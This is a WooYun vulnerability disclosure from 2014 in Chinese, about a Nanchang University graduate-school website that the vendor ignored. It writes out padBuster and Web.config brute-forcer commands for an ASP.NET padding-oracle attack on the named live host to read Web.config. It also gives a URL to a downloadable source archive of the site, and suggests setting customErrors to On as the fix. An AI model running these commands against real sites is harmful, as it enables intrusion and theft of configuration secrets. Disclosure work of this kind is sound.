漏洞概要 关注数(24) 关注此漏洞
>
漏洞详情
披露状态：
2014-11-24： 细节已通知厂商并且等待厂商处理中
2014-11-29： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
详细说明：
http://ygb.ncu.edu.cn/yjsh/login.aspx
试试第一个吧
padBuster.pl http://ygb.ncu.edu.cn/yjsh/WebResource.axd?d=b99-7JT4MtcpmaC1IrbBKEZUVDsRrtRZk7G7d9E5iySTDSkF-f64urSQm6pJ3aIsmY_KScCXLOaMsd-ft6fR9YyMcf9Vo4VQCDcpI1Fr59Q1 b99-7JT4MtcpmaC1IrbBKEZUVDsRrtRZk7G7d9E5iySTDSkF-f64urSQm6pJ3aIsmY_KScCXLOaMsd-ft6fR9YyMcf9Vo4VQCDcpI1Fr59Q1 16 -encoding 3 -plaintext "|||~/Web.config" -prefix b99-7JT4MtcpmaC1IrbBKEZUVDsRrtRZk7G7d9E5iySTDSkF-f64urSQm6pJ3aIsmY_KScCXLOaMsd-ft6fR9YyMcf9Vo4VQCDcpI1Fr59Q1
Web.config_bruter.pl http://ygb.ncu.edu.cn/yjsh/ScriptResource.axd k4yNjNyjkJTZm5aUnZWa_wAAAAAAAAAAAAAAAAAAAAA1 16
跑了好久没出来 = = 没继续了。
这样读Web.config好像有点麻烦。直接整站下下来应该方便一点吧。
http://ygb.ncu.edu.cn/yjsh/yjsh.rar
漏洞证明：
修复方案：
web.config中设置customErrors为On
版权声明：转载请注明来源 路人甲@乌云
>
漏洞回应
厂商回应：
危害等级：无影响厂商忽略
忽略时间：2014-11-29 14:54
厂商回复：
最新状态：
暂无